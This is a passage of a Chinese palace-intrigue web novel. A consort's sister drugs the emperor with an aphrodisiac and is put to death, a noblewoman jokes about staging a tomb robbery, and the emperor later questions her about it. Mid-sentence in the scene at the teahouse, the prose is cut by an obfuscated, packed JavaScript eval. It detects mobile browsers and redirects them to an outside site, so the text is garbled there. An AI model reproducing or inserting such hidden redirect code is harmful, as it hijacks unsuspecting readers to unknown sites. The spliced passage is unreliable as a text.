“郡主也太过分了,您现在都是娘娘了,她还敢这样,真不敢想您之前在家里过着怎样的日子。”芍药很是心疼,眼泪啪嗒啪嗒的掉着。 “娘娘,我们跟陛下如实说吧,咱不受这窝囊气了。”芍药忽地开口。 “芍药,陛下没闲心思管臣子的家事,人人都能欺负我,这就是不得宠的下场。 陛下若是真拿郡主有办法,又何必偏偏今日出宫?她是陛下的长辈,那三分薄面陛下是要给的。” 芍药认认真真的听完,开口道:“娘娘,奴婢不明白,按您这么说,西南王妃和楚将军的夫人,不比丰庆郡主跟陛下的关系近吗? 为何陛下不给那两位面子,偏偏给郡主面子?” 李含萱一只胳膊搭在桌子上,费力的撑着身子,“因为她对陛下毫无威胁。” 甚至还是陛下管控李家的突破口。 陛下不似以前了,他的言行举止都受百官监督,总不能有人上疏他就**,长此以往下去,覆灭是必然的。 既然陛下要敲打言官,那她不妨添一把火,也借机除掉不省心的弟弟妹妹。 芍药还要说什么,李含萱做了个嘘声的动作。 下一瞬,浅璧就从门外进来了。 “你且说说,要用什么法子让我侍寝?”她像个主人似的问着。 “芍药,去把皇后娘娘赏的云萝锦拿给浅璧。”李含萱虚弱开口。 “是。”芍药应了声,将脸上的血迹处理干净,这才从柜子里拿出了那套绝美的衣裳给浅璧。 “我的东西,你可随意穿戴,这两日,你就当是我,先在宣明宫里练练吧。 免得见了陛下,你露出马脚,坏了大事,届时母亲不高兴事小,耽误了你事大。” 浅璧本想生气的,她是什么身份,用得着假扮成李含萱? 但一听对方的话,觉得有几分道理,便去换衣裳了。 …… 出宫闲逛的夜不群,这一逛就逛到了沈安安的失意楼。 王坡火眼金睛,认出了他,忙差人去请沈安安了。 杨士青一听是陛下,拍拍屁股走人了。 来的小厮牵了枭龙,沈安安翻身上了马背,直奔失意楼。 她到的时候,夜不群就坐在后院里,也不知道哪个缺心眼的安排的位子,正对着池塘。 后院已经被清空了,跟前儿连个伺候的人都没有,夜不群自己倒着茶。 “陛下。”沈安安直接把枭龙骑进了院子里,她从马背上下来,蹬蹬跑上了楼。 “你怎么来这儿了?这哪里比得上满江红?陛下要消遣也该去满江红。”沈安安一边福身行礼,一边说道。 “怎么,你这里藏了什么见不得人的?”夜不群好似心情不错。 “臣妾连宝贝都没有,藏什么?”沈安安撩了撩头发。 夜不群没说让她坐下,她就定定的站在一旁。 枭龙在院子里溜达着,渴了就去池塘里喝水,吓的锦鲤立刻四下散开,看着颇为壮观。 沈安安什么都喜欢多,连这池塘里的锦鲤也要多。 多的池塘都快装不下了。 “这不是老将军的坐骑吗?”夜不群一眼认出来。 沈安安连连点头,“陛下好眼力,楚家军说了,它脾气大得很。 臣妾不才,上次奉命出征,驯服了它,它如今是臣妾的坐骑了。” 夜不群眼神示意她坐下来。 她还是喋喋不休的劝他离开,说是天色不早了,也该回去陪皇后娘娘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15616396|169421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 用膳了。 但夜不群一句“你在教朕做事?”打断了她,她嘴巴抿成一条缝,再不言语了。 “你说朕杀一两个言官,会不会朝堂大乱?”夜不群冷不丁的来了这么一句。 沈安安反应也真实,“啊”一声,瞪大眸子道:“陛下你又要**啊?滥杀无辜可不是什么好事儿。 你都说了人家是言官,那直言上谏不就是他们的职责吗?陛下想杀当然可以,以后没人敢跟你说真话,你别难受就成。” “他们连京城都没出过,哪里知晓边疆如何?一双眼睛只知道盯着朕身边的人,治他们一个失职之罪,不为过。”夜不群盯着池塘里的鱼儿,缓缓开口。 沈安安撇撇嘴,“那就杀呗。” 他没料到,她会说的如此干脆。 视线收回,落在她脸上。 夜不群长长舒了一口气,“混账东西。” “你又骂臣妾。”沈安安嘟着嘴,表示不服气,“是陛下你要**,莫非陛下问臣妾的意思,是想让臣妾阻挠?” 若是同样的话说给安乐听,她一定会好好分析一遍利害的。 不像沈安安这个马屁精,就会顺着他的意恭维。 “哎呀陛下,这不是还没下旨斩首吗?又不是要你出尔反尔,不想杀就任由着他们好了,干嘛还要专程跑来失意楼问臣妾?” “人家做言官的,那都是人在家中坐,遍知天下事,他们都是旁观者清。 看待事物的本质,比陛下您这个当局者要客观多了,天下人的嘴是捂不住的。” 沈安安说嗨了,翘起一条腿,索性把茶壶一整个拿起喝。 “朕算无遗漏,朕做的每一个决策,都让轩辕越来越好。 朕走一步看十步,纵观轩辕历史,谁打下的天下有朕的大? 朕……” “陛下。”沈安安像喝了酒似的,醉醺醺的打断了他的豪言壮志,“你这还王婆卖瓜,自卖自夸上了。 帝王的功绩,自己说了不算,得百姓说了算,您都让百姓吃土了,还好意思标榜自己是圣明的君主?” 第156章胆大包天 “哈哈哈。” 沈安安笑个不停。 夜不群并不知道她的笑点是什么,一双发怒的眸子,死死的盯着沈安安。 他咬牙切齿,“混账。” 沈安安收了笑声,但那张绝美的脸上,神采奕奕,笑容不减。 夜不群手指了她半晌,愣是一个字都说不出来,甩袖离开了。 回到皇宫,本想去椒房殿的,但崔福说皇后娘娘早就歇下了。 若是楚舒茗在宫里,他还能找到一个说话的人。 夜不群坐在龙椅上,将看了就心烦的折子推开,“崔福,你说朕是不是太惯着李家了?” “陛下顾念与先帝的手足之情,陛下您又宅心仁厚,这才一直纵着李家,确实是将他们惯的有些没规矩了。”崔福弯腰俯首,恭敬回着。 夜不群冷眸瞥了他一眼,“朕把你也惯坏了,成天只会复述朕的话。” “哎吆陛下,您真是……”崔福说着,就要双膝跪地。 “行了,去把贤嫔叫来,这也算是她的家事。”夜不群吩咐着。 “是,奴才这就去请。”崔福应了声,退出了勤德殿。 不多时,他便来到了宣明宫,传了陛下口谕。 李含萱直起腰身,几乎站不稳,芍药忙上前扶住。 “崔公公,劳烦您稍候。”李含萱客客气气道。 “不急,咱家在外面候着娘娘。”崔福说罢,领着太监转身离开。 李含萱回到主殿,芍药给她更衣。 她压低声音对一脸兴奋的浅璧说道:“陛下突然传唤,不知所为何事,你且先随我一道儿去勤德殿吧,待会儿见机行事便好。” “你这身衣裳,还有这满头的珠钗,得换掉了。” “好吧。”浅璧不情不愿的应了声,动作倒是麻利,很快便换上了宫女服。 刚才她就躲在屋子里听,没出去。 李含萱只带了芍药和浅璧,跟着崔福一同前往了勤德殿。 刚到勤德殿院子里,独孤若兰赫然出现,叫着:“崔公公。” “哎吆,皇贵妃娘娘,都这么晚了,您来勤德殿干什么?”崔福一边耐着性子问着,一边朝独孤若兰走去。 “本宫有要事要禀报陛下。” “皇贵妃娘娘,陛下今个儿心情不好,您就别去触霉头了。” 哪里料到,独孤若兰让青禾一把抓住了他的胳膊,“那就劳烦崔公公,跟本宫去一趟椒房殿。 真是大事儿,若是耽搁了,谁也担待不起。” 崔福“哎吆哎吆”个不停,独孤若兰充耳不闻。 无奈,他只好扭头冲李含萱道:“贤嫔娘娘,您先进去吧,陛下在里面等着您呢。” “是,多谢公公。”即便知道崔福听不见,但李含萱还是礼貌的回着。 一步一步上台阶,李含萱屏息凝神。 一番权衡利弊后,她抬起头,说道:“芍药留在这里,浅璧跟本宫进去。” 说罢,她抬起手,推开了厚重的殿门。 两人几乎是同步的,浅璧大气都不敢出,根本不敢抬头去看龙椅上的人。 她只能看见李含萱的脚,跟着她一步步的往前走。 “臣妾参见陛下。”李含萱福身行礼,声音很轻。 其实进来的那一刻,她就仔细观察过了,陛下应当是劳累过度,睡了过去。 如若不然,刚才推开殿门的声音,已经惊动到陛下了。 李含萱直起身子的一刹那,殿门被外面的两名太监关上了。 “陛下。”她往前走了两步,声音稍大了些。 龙椅上的人还是没有任何反应。 李含萱给浅璧使了个眼神,浅璧悄无声息的就要上前。 她一把拉住了浅璧,将自己的外衣脱下,让浅璧换上。 换好衣裳的浅璧,越发大胆了起来,就在她迈上台阶时,李含萱跪在了地上。 额头贴在地上,这样看上去,不知她是跪着还是晕倒在地。 浅璧蹑手蹑脚将茶杯盖子打开,将一颗美人香放了进去,又给自己吃了一颗。 她都还没来得及将茶杯放回原位呢,夜不群就睁开了眼睛。 他率先瞥见的,是底下那道好似蜷缩在一起的身影。 正要开口时,慌张的浅璧低着头,将茶杯递了上去。 “贤嫔,来了怎么也不说一声?”夜不群问着,顺手将茶杯接过去。 浅璧哪里敢回话?扑通一声就跪在了地上。 夜不群见状,摇了摇头,嘘了一口茶。 但因为是冷的,浅尝了一口便不喝了。 “朕没说罚你,起来回话。”夜不群道。 浅璧瑟瑟发抖,她想回话的,但就像是被什么东西扼住了咽喉一样,愣是说不出一个字。 夜不群也没多想,她喜欢跪就让她跪着吧。 “贤嫔,你没把朕的话传给你父亲吗?怎的他又上了一道折子,这一次,还叫朕御驾亲征。”夜不群抬手揉着太阳穴。 美人香吃下去,很快便起效了。 浅璧是个没定力的,开始用手胡乱扒着衣裳,实在是伤风败俗。 夜不群看她这样,一脚踹了去。 可谁知,浅璧竟然抱住了他的腿,一双手顺势就往上摸。 “放肆。”夜不群怒斥一声,一把扯住她的头发,生生将人从自己腿上剥开了。 他将人甩在地上,这才发现,根本就不是贤嫔。 夜不群快步下了台阶,又是一脚踹在了跪在地上的人身上。 这一脚,将李含萱踹的正面朝上,也正因为如此,他看清李含萱晕了过去,身上的宫女服都是散披着的,连扣子都没有系。 “崔福。”夜不群怒喊一声。 殿门被推开,两个小太监弯着腰跑了进来,跪在地上回话:“回禀陛下,崔公公被皇贵妃带走了。” 而殿门外的太监和芍药,也是齐齐的跪在地上,大气都不敢出。 “去,把国师给朕叫来。”美人香起效了,他感觉到了。 吩咐下去后,他退后几步,坐在了平时魏大贤坐的椅子上。 不多时,国师、御医,全都来了勤德殿。 崔福也着急忙慌的赶来。 殿门一推开,大家都傻眼了,就见浅璧只穿着内里的衣衫,披头散发的扒着夜不群的龙袍。 一时间,大家都不知道这究竟是夜不群授意的,还是浅璧自己找死,面面相觑了一番,愣是没有一个人敢上前去。 还是后面赶来的独孤若兰,大喊了声:“都还愣着干什么,快把这贱人从陛下身上扒下来。” 第157章 赐死 国师巫马道奇赶紧推了推手,一众御医在崔福的带领下,冲上前去,把浅璧扒拉开了。 谁都不想在勤德殿上丢人现眼,浅璧被几个太监绑了起来,丢在地上。 便是这样,她也不安分,嘴里不停地发出些靡靡之音。 “把这贱婢的嘴给本宫堵起来。”独孤若兰命令着。 宫女们上前,把帕子重重叠叠,塞进了浅璧嘴里。 巫马道奇立马为夜不群施针,所幸他喝的不多,又非常有定力,没在这么多外人跟前儿闹出笑话。 没人管浅璧的死活。 “呼。”大概过了一刻钟,夜不群长长舒了一口气。 御医们自发的退到一边,但没有夜不群的命令,他们也不敢冒然离开。 “陛下。”全场只有独孤若兰一个敢开口。 她将准备好的茶水奉上,“没想到宫里还有人用美人香,竟然还用到陛下身上来了,简直该死。” “这贤嫔也太不安分了,敢让一个贱婢伤陛下您的龙体,她该被打入冷宫。” 夜不群接过她手中的茶杯,喝了两口。 “范太医,去瞧瞧贤嫔,看她是不是晕死了过去。”夜不群没理会独孤若兰,只吩咐着。 独孤若兰识趣的站到了一边。 “是。”范太医应了声,放下手中药箱,蹲在地上给李含萱把脉。 不消片刻,范太医转身,禀报着:“回禀陛下,贤嫔娘娘确实是晕死了过去。” “贤嫔娘娘身上旧伤未愈,又添新伤,身子经不住折腾,晕了过去。” 夜不群没抬眸,只挥了挥手,让范太医退下。 “崔福,传朕口谕,李卫民,教女不严,赐死;宫女李浅璧,有违宫规,赐死。 朕顾念李太傅和李太妃,留他们全尸,让贤嫔回家传朕旨意。”夜不群声音如万年寒冰,全场噤若寒蝉。 只崔福跪在地上领旨。 他也不敢问一声要不要等贤嫔醒,起身后招呼着几个太监,将衣衫不整的贤嫔抬了出去。 至于浅璧,被太监拖了出来。 崔福冲芍药道:“快回宣明宫,给贤嫔娘娘换身衣裳吧,咱家去宫门口等着你们。” “是。”芍药哭腔应下。 崔福冲自己手底下的太监挥了挥手,他们跟着芍药将李含萱送去了宣明宫。 她晕着,所以特意给她准备了一顶轿子。 到了宫门口,换成了马车,夜色正浓,天罗护卫。 一路行至李家府邸。 丰庆君主听闻崔公公来了,喜上眉梢,忙穿戴整齐,同夫君李卫民一起往正厅接旨。 到了之后,她傻眼了,就见自己的女儿衣衫不整、披头散发的倒在地上。 人被绑着,但那红晕的脸颊,看上去就像是被宠爱过后的。 “崔公公,这是怎么回事儿?”丰庆脸上的喜悦消失,取而代之的是质问和悲戚。 “郡主,跪下接旨。”崔福不给她面子。 丰庆咬着牙,在老嬷嬷的搀扶下,颤巍巍跪在了地上。 崔福宣了陛下口谕,把李含萱留在李府,又留了两个太监给她,这方离开了。 “咳咳。”李含萱咳嗽了声,芍药推开了马车门,将虚弱的她搀扶下了马车。 “小贱人。”丰庆郡主红着眼眶,就要冲上前来在李含萱脸上呼巴掌。 被两个太监拦住。 若是宣明宫里的太监,丰庆才不会放在眼里,可这是勤德殿的太监,不把他们放在眼里,那就是不把陛下放在眼里。 “是你,害死了我的女儿,你不得好死。”丰庆骂着。 李含萱神色漠然,“母亲还是赶紧送妹妹上路吧,若再耽误下去,触怒龙颜,妹妹恐连个囫囵个的尸身都没了。” “萱儿,萱儿你求求陛下,让陛下饶我一命吧。” “你太祖父三朝功臣,位极人臣,为国鞠躬尽瘁,你姑母奉上整个李家,为先帝维持后宫。 对了,你太祖父还修河,解启西百年旱灾之困,这都是传世的功绩。 陛下……陛下定是一时情急,忘记了这些,这才不顾李家之恩,错下了旨意。” 李卫民双目惊恐,跪在地上迟迟不肯起来,就差给自己的女儿磕头了。 “她会救你?李卫民,你少做青天白日梦了,她巴不得你死,她就是要我们家破人亡。”丰庆怒斥没出息的丈夫。 “你闭嘴。”李卫民唾沫星子狂喷。 继而,又双眼含泪的看向了李含萱。 李含萱面无表情,冷酷无情道:“死到临头了,父亲还是拎不清,看来只有下到地狱,父亲才能明白自己到底做错了什么。” “功绩?可笑,若是先帝和陛下真感念我李家功绩,为何连个世袭公爵也不封给太祖父?” “只有你们把那些当做是功绩,也当做是丹书铁券,上赶着作死。 父亲你明知陛下只心悦皇后娘娘一人,还将女儿送进宫里。 女儿过着怎样的日子,父亲你知晓吗?宁妃视女儿如蝼蚁,随意打骂。 继母更是胆大包天,撺掇浅璧使尽浑身解数侍寝,让她去跟荣贵妃一争高低。” “浅璧也真是胆大妄为,竟趁着陛下召见我时,试图偷梁换柱,以承圣宠。 还给陛下服用美人香,我奉旨前来,亲自送父亲和浅璧一程,继母还要抗旨不尊吗?” 李含萱早对李卫民失望,将心中最后的愤愤不平说完后,催促着丰庆郡主。 夜不群何许人也?丰庆虽早早嫁人出宫了,但整个轩辕,谁人不知他的铁血手段? 整个皇族,死伤过半,全都是他的手笔。 丰庆郡主一家就是因为在先帝的夺权之争中保持中立,又因她嫁入了李家,这才安稳活到了现在。 只可惜,昔日清醒的丰庆郡主,好日子过的多了,渐渐被一叶障目了。 “李含萱,你、不得好死。”丰庆郡主含泪怒骂。 两小太监等的不耐烦了,其中一个道:“郡主若是还不动手,那咱家就进宫回禀陛下了,抗旨,可是诛杀全家的大罪。” 丰庆郡主怒吼:“本郡主知道。” 忽而,她又像被寒霜打过的茄子一般,一双朦胧泪眼,看向身后同样哭着的老嬷嬷道:“嬷嬷,送小姐和老爷上路。” “是。”老嬷嬷哭声应着。 整个家,都是丰庆郡主在做主,她一声令下,府上无人敢阻拦。 李卫民就这样被活活勒死了。 至于浅璧,丰庆郡主不忍让旁人动手,她亲自下手的。 浅璧至死,都沉醉在美人香中不能自拔。 两太监验过,见人真的死透了,这才冲李含萱道:“贤嫔娘娘,请回宫吧。” 李含萱转身,客气礼貌的冲两人道:“两位公公,我此时回宫,恐惹陛下不悦。 还要劳烦两位公公,将今日府上发生之事儿如实禀报陛下,我明日回宫,再去向陛下请罪。” 李含萱说着,从芍药手中拿过了两个钱袋子,分别塞到了两太监手中。 第158章同生死、共富贵 李卫民和浅璧是被赐死的,按理不得准备丧仪。 李府连挂白都不能。 丰庆郡主连夜安排人,想要将浅璧葬入李家祖坟。 李含萱自是不愿意,“宫女触犯宫规被赐死,应该丢去乱葬岗。” “你自愿留在府上,原是在这儿等着呢,她好歹是你妹妹,小时候你还时常抱她,你怎的就如此狠心?”经历了这么一遭,丰庆郡主也硬气不起来了,皱眉好声好气的说着。 李含萱懒得装,只道:“陛下命本宫前来,意在督办此事,若本宫依了你,岂不是欺瞒陛下? 届时我们李家,还是难逃大难,你也该为已在军营的弟弟考虑。” “你不说,谁会知道?”丰庆道,“看在你们自幼一起长大的份上,就让你妹妹入祖坟吧。 她无儿无女的,入了祖坟,也好跟着诸位已故先人们享受后辈们的香火,她可是你的妹妹啊。” “郡主还是别为难我了,公私分明,可是你从小就让本宫谨记于心的道理。”李含萱丝毫悲戚都没有,言语间表明的都是毫无商量的余地。 丰庆郡主知道她是拿着鸡毛当令箭,可也没办法,只得照做。 李卫民不用丢去乱葬岗,当晚就装进棺材里下葬了。 但同样的,他也没有入祖坟的资格,只能随便葬在祖坟旁边的山丘上。 丰庆郡主一晚上气短了许多次,上了年纪又悲痛过度,几次都差点晕了过去。 一直撑在第二天早上,她命人做了丰盛的早膳,给李含萱送了去。 这是在示好。 夫君和女儿都没了,如今儿子能不能活着从战场上回来,只能看李含萱的了。 李含萱不是省油的灯,她用浅璧做了跳板,在陛下跟前儿表忠心。 李卫民成了她争宠的献祭品,丰庆想明白了。 “萱儿。”丰庆进了屋子,温柔叫着。 “郡主,你该称本宫为娘娘。”李含萱坐在椅子上,冷冷开口。 言语间,都是要和丰庆划清界限的意思。 “娘娘。”丰庆郡主改口道,“娘娘身上流着李家的血,是从李府抬出去的,这一点儿,哪怕娘娘日后做到皇贵妃的位置上也不会更改。 李太妃就是娘娘你最好的榜样,她之所以能在后宫立足,仰仗的正是身后的母家。” “本郡主愿与娘娘冰释前嫌,日后相辅相成,泽里有了军功傍身,也会是娘娘的依靠。 陛下再怎么冷酷无情,到底还是权衡着前朝后宫的关系,如若不然,宁妃闹的那一出,早让她下地狱了。 既然后宫的妃子都无宠,那怎么有的人入宫就是皇贵妃、有的人又能几经贬谪成为贵妃……而有的人,只能是个嫔呢?” 丰庆郡主不卑不亢的说着,属于皇族的高傲,使得她谈判的时候,也不会将姿态放到最低。 李含萱在心中衡量着,陛下只是赐死了父亲,一来是杀鸡儆猴,给言官们点颜色瞧瞧;二来,便是让父亲替丰庆担下了所有罪责。 皇家的名声,不能损坏。 丰庆姓夜,这就是她的保命符。 浅璧是她的女儿,所以尽管做了大逆不道的事儿,赐死的罪名也仅仅是“有违宫规。” 李含萱忽地抬眸,嘴角带笑,“那是自然,经此一事,本宫与郡主也算是坦诚相待了。 日后,郡主还是本宫的母亲,本宫也会好好疼爱泽里这唯一的亲弟弟的。” “母亲如此为本宫打算,本宫实在感激不尽,念在母亲真心实意的份上,本宫也就多劝母亲一声。 日后,朝堂的事儿,母亲还是少插手的比较好,弟弟既然去了军中,那母亲更要教导他,生死不论,要以保家卫国为重。” 李含萱说罢,早膳也不吃了,带着芍药离开。 宫里来接她的马车,早已等候。 …… 失意楼里。 沈安安卧在厢房的美人榻上,从杨士青和武文义的口中听完了宫里的八卦。 “闹的这么大,就只赐死了一个宫女和一个七品的给事中?” “这李家是救过陛下的命吗?他怎么对李家格外开恩?不像他啊。” 沈安安一边吃西瓜一边问着,“那陛下都吃了美人香,身边还陪着两个女人,真就愣生生的给挺住了?” “谁说不是呢?”武文义喝着茶咂吧着嘴。 杨士青继续道:“李家不是救过陛下的命,李家是救过轩辕的命,救过先帝的命。” “先帝是谁?那可是把陛下一把屎一把尿养大的人,凡是跟先帝沾边的,只要懂得明哲保身,一辈子荣华富贵那是手到擒来,好比我们。” 他说着还挺了挺身子,一副特别自豪的模样。 “那要是有个找死的把先帝的坟给掘了,我们三个刚好又抓住了掘墓的贼人,我们仨儿是不是也一辈子的荣华富贵没得跑了?” 武文义差点没一口茶水喷出来。 杨士青更是目瞪口呆,“谁吃了熊心豹子胆敢去掘皇陵啊。” 沈安安手指了指他们两个,又指了指自己,“我们三个啊,自导自演还不会吗?找死士你们不是最擅长的吗?” “皇陵在哪儿?负责修建的是谁?” 武文义和杨士青同时将手中的东西放下,然后刷刷起身,连一声告退都没说,转身离开。 跑的比兔子还快。 “唉,你们两个考虑考虑啊,这无本万利的买卖哎,能很轻松的躺着享福,咱就不要辛苦拼命了。” 沈安安话音落地,武杨二人已经跑没影儿了。 敞开的包厢门里,赫然出现一道挺拔的身姿。 是独孤及。 沈安安脸色当即垮了下来,起身就要离开。 但她动作没独孤及快,他已经抬步进来,顺手将包厢门关上了。 “陛下之所以如此,不过是为了维护皇家颜面,说来惭愧,我也是在它的庇护下安然长大的。”他倒是不客气,在沈安安面前坐下来。 他坐的端端正正,一双清澈眼眸不避讳的盯着她看。 沈安安头一次觉得,自己侧卧在美人榻上的动作,并不是很雅观。 “娘娘可想知道皇后娘娘的过往?”独孤及温声细语的问着。 “你打住,快闭上你的嘴吧,我对皇后娘娘的事儿不感兴趣。”沈安安翻着白眼瞪着他。 独孤及自顾自的继续道:“其实王府可以成为娘娘的仰仗,只需娘娘再耐心等等。 臣愿与娘娘,同生死、共富贵。” 第159章你有没有保命符? 独孤及声音很轻、很淡。 沈安安太能分辨别人话里的真假了,这句“同生死、共富贵。”说的是那样的情真意切。 虽没有眼神对视,但字字恳切,犹如烙印一般刻在沈安安心上。 “我看你就是个疯子。”沈安安反应过来,骂着。 “想造反你自己去,别拉上我,早就知道你们西南王府不安分,但是我今天才知道,你已经不安分到这种地步了。 我就是死,也要跟你分得开开的,真晦气,你也配跟我共富贵?” 沈安安骂人的功夫实在不厉害,几句过后便说不出多伤人的话来了。 她索性从美人榻上起身,离开。 “娘娘别不待见臣,臣或许可助娘娘得偿所愿。”独孤及目光追随着沈安安,略带深情的说着。 “有病,有病,你真是有病。”沈安安烦躁的跺脚,“你离我远一点。” 最后丢下这句话,她一溜烟的跑了,比刚才的武杨动作还要快。 她自是不会这时候回宫的,陛下给她下了命令,让她在宫外待三天,好好陪西南王府的世子。 杨士青提醒了她,陛下的意思是让她三天之内就把世子打发回去。 真是高看她了,世子又不是她儿子,还能她说什么就是什么? 沈安安跟王坡要了些金子,直奔满江红。 王坡现在是她的管家。 点了个绝佳的位置,看台子上的表演还不够,她还点了几个俊俏书生给自己唱歌舞剑。 她则是坐在椅子上,看着来自五湖四海的白面书生。 一个个长的那叫一个精致,脸就像刀刻出来的一般,身高都一模一样。 有两个在她旁边恭恭敬敬的服侍着,葡萄都要剥了皮,在她授意之后,才喂到她嘴边。 那温软的指腹,轻轻擦过她的殷红的唇瓣。 男子吓得一个激灵,跪在地上,连头都不敢抬起来,如山间清冽之溪的声音,求着:“求贵人恕罪。” 沈安安弯腰,托住他的胳膊,霸气的将人拉了起来,“男儿膝下有黄金,我可经不住先生这一拜。” 男子以为自己听错了,抬起头来,便与她那一双澄澈双目对上。 她眼睛里没有戏谑、没有鄙夷,更重要的,没有调戏。 他们被卖在这满江红里来,身不由己,像商品一样被标了价格,除了不用委身于人,其他的跟妓子有何区别? “贵人折煞小人了。”男子低下头,心中惴惴不安,在一旁的凳子上坐下来。 能来这里的,都是权贵,得罪不起。 “敢问先生尊姓大名?”沈安安缓缓开口,她坐直了身子,不拘小节的拿起一串葡萄,一口咬一颗。 “小人姓秦名楚。”男子回着。 沈安安觉得这一群人,比宫里的太监宫女都要小心谨慎。 “秦楚,倒是个好名字。”沈安安道,“诸位先生都不用拘谨,先生们实乃大才。” 是夸奖的话,但听在他们耳中,却丝毫都不夸张。 恭维,她一个贵人,犯不上。 所以只能是发自内心的。 “咯吱。”就在沈安安与他们相谈甚欢的时候,包厢门从外面被推开。 秦楚一众人不敢抬头去看来人是谁,膝盖一弯,直接就跪在了地上。 “都滚出去。”魏大贤一声呵斥,秦楚等人大气都不敢出,有序的离开。 魏大贤一记掌风,房门被关上。 沈安安:“吆,这是陛下让首辅大人来接我回去了?” 魏大贤颔了颔首,便算作是给沈安安行礼了。 不用她开口,他找了张椅子坐下来。 “娘娘,臣没打扰到您吧?”魏大贤倒是客气,出声询问着。 沈安安一只手托着盘子,吐葡萄皮,“打扰到了。” 魏大贤权当没听见这句话,继续开口:“能解启西之困的人,唯娘娘也。 娘娘要养育两位殿下,总不能一直都身无长物,只有让全国的百姓都记住两位殿下有娘娘这样一位骁勇善战的母妃。 两位殿下日后的日子,才能平步青云。” “噗。”沈安安吐了一口葡萄皮,满目嫌弃的盯着魏大贤。 “你想让我功高震主。”她冷不丁的来了这么一句。 功高震主的下一句是什么?帝王不容。 魏大贤也没想到,平时看上去蠢笨如猪的荣贵妃,这时候脑子转的这么快。 “娘娘多虑了,只是解启西此次的危难而已,还不足以功高震主。”魏大贤开口道。 赵小高的身体不宜再上战场,和北戎那一仗,他的身体伤了根本。 好生休养,也不知能不能恢复如初。 再上战场,恐怕积劳成疾。 当然了,魏大贤还考虑另外的因素,那就是找赵小高带兵,能不能打败西越? 除非身经百战之人,否则跟从未交过手的敌人,凶多吉少。 魏大贤从赵小高口中听闻了沈安安的壮举,觉得此次出征,除了她,再没第二个合适的人选。 刚好,凤州大军新培养的那些将领,也该去战场上历练历练了,就让他们跟着沈安安去。 其实沈安安是想去的。 如今魏大贤这么一说,她更心动了,便开口问着:“那你给我一万天罗吗?” “他们会不会听我话哦?是不是每个人的本事都是一样高的?要是我把你的一万人都给打没了,你不会找我秋后算账吧?” “还有还有,陛下和皇后娘娘都不让我去啊,你有办法让他们点头答应吗? 我还要带着太子和亦德一起,这你也没意见吧?” “你刚才说什么平步青云,这是你能保证得了的吗?根据最近一段时间发生的事情。 我觉得光有丹书铁券保命还不够,你告诉我真正能保命的是什么东西?就是那种,哪怕日后换了皇帝,他还认的那种保命符。” 魏大贤:“……” 她就这么赤裸裸的问出来了? “没有。”他回着。 沈安安眉头一皱,“没有是什么意思?不给还是怎么着?” “臣从未见过有这样东西的存在。”魏大贤道。 沈安安闻言,往后一躺,继续悠哉悠哉了,“没有你跟我说这么多?咋地,我的命就不值钱了? 谁爱去谁去,反正我不去,你是来说笑的吧,上下两片嘴唇一碰,就让我去赴汤蹈火,你以为你是谁啊。” 第160章猪队友 沈安安这毫不客气的话,让魏大贤一时无言以对。 她太贪了,要的东西莫说是他,就连陛下也没有。 而且依照她的尿性,肯定是出发时就要把东西揣进口袋里的。 就算陛下格外开恩,真赏她这么个东西,那让工部制造也需要时间的。 等制造好,启西早打完了,李泽里早死在战场上了。 “咯吱。”房门再次被推开,这次进来的人是独孤及。 就见他手拿折扇,一身白衣,真乃翩翩公子。 魏大贤眉头一蹙,看来这世子跟荣贵妃关系匪浅啊,不然怎么进荣贵妃的包厢,连门都不带敲一下的? “臣参见娘娘,下官见过首辅大人。”他行礼时,都是吊儿郎当的模样。 有恭敬,但不多。 独孤及把门反手关上,眸子热切的看向魏大贤,“首辅大人,您看下官能不能和娘娘一同出征? 下官也想替陛下分忧,做一个对江山社稷有用的王侯,坐着吃俸禄,下官实在是有愧啊。” 魏大贤瞥了他一眼,站起身道:“世子还是趁早回云州吧,若在京城出点事儿,王妃要闹到京城来了。” 说完这句,魏大贤转身离开了。 看着阴魂不散的独孤及,沈安安干脆双眼一闭,全当没看见来人。 独孤及也不走,从她手上拿过葡萄,一颗一颗开始给她剥皮。 沈安安当晚就歇在满江红了。 满江红可不会接待独孤及这种身份敏感的人,天一黑就把人给赶走了。 沈安安好不容易熬过了三日,她才不管独孤及回不回云州,反正她是要回宫的。 租了满江红的马车,一路到了宫门口。 她下了马车,马不停蹄的就往荣华宫走。 有一说一,外面的床榻确实没有宫里的舒服,皇宫不愧是全天下最好的地方。 只是,她脚刚一踏进殿门,崔福后脚就来了。 “荣贵妃娘娘,陛下有请。”崔福望着她的背影喊着。 沈安安打了个哈欠,“这一大清早的,陛下找我什么事儿?” “娘娘去了就知道了。”崔福说着,做了个请的手势。 沈安安不情不愿的,跟着去了勤德殿。 到了才发现,武文义和杨士青跪在大殿正中间,他们旁边站着的,是穿着官服的独孤及。 看上去虚弱的李含萱,则是坐在一旁的椅子上。 这怎么还人都凑齐了,宁妃也来了。 沈安安直接往地上一跪,“臣妾参见陛下。” 宁妃福身行礼,一副自己没做错任何的模样。 “平身。”夜不群淡淡吐出两个字。 “昨夜有人胆大包天,竟去掘先帝的皇陵,你觉得谁会如此大胆?”夜不群闭着眼睛,开口问着。 他也没指名道姓啊,大殿上这么多人呢,谁知道他在问谁? 沈安安把嘴巴闭的紧紧的,只要不说话就不会犯错。 杨士青看她久久不开口,额头上大滴的汗珠往出渗。 一时间,其他人的目光也都落在了沈安安身上。 她还是一副无所畏惧的模样,但这些眼神实在刺眼的很,她忽地抬起一只手,指了指自己,“陛下是在问我?” 还是李含萱微微点了点头。 她又看向夜不群身旁站着的崔福,崔福也点了点头。 不是吧?她前天说的话武文义和杨士青真听进去了?真安排人去掘墓了? 那到底人是抓住了,还是死掉了啊? 突然给她来这么一下,她没做好准备啊,而且困得不行,脑子昏昏沉沉的。 她摇头晃脑了两下,杨士青和武文义简直没眼看她。 她缓缓出声:“臣妾不知道啊,要是损坏了墓,那就让工部的人赶紧修。 要是没损坏,好像也没什么大不了?陛下就网开一面?饶了那些掘墓的人?” 